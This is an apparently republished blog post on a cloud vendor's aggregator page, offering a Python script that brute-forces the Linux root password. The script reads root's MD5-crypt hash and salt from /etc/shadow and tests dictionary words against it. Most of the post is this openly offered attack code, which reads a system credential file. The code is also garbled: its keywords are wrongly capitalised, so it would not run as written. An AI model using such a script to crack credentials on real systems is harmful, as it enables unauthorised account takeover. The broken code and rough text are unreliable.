Dictionary method brute force hack linux user password

Source: Internet
Author: User
Tags crypt md5 encryption

Linux series of many operating systems are using MD5 encryption user password, encryption process is one-way, so to crack can only use brute force crack method.

Below to share a program to crack the root user password.

The program iterates through each password in the dictionary file, matches the password in the/etc/shadow, and returns success if the same.


#!/usr/bin/env python


Import Crypt

Import Sys

Import re


DIC = [

' Cookies ',

' Test ',

' Fuckyou '

]



Passwordfile = '/etc/shadow '


Def getrootpass ():

f = open (Passwordfile, ' R ')

For line in F.readlines ():

If ' root: ' in line:

Rootpass = Line.split (":") [1]

If Rootpass is None:

Print "Cannot find root user"

Sys.exit (1)


Return Rootpass


Def getsalt ():

Rootpass = Getrootpass ()

If Rootpass:

Salt = Re.match ("(\$1\$.*\$)", Rootpass)

If salt! = None:

Salt = salt.groups (1) [0]

return salt


def crack ():

For passwd in DIC:

Testpass = Crypt.crypt (passwd, str (GetSalt ()))

if Testpass = = Getrootpass ():

print "Crack root password successful!\n root password is: \n%s"% passwd

Sys.exit (0)

Print "Could not crack root password"


Crack ()


This article from "Linux operation and Maintenance" blog, declined reprint!

Dictionary method brute force hack linux user password

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.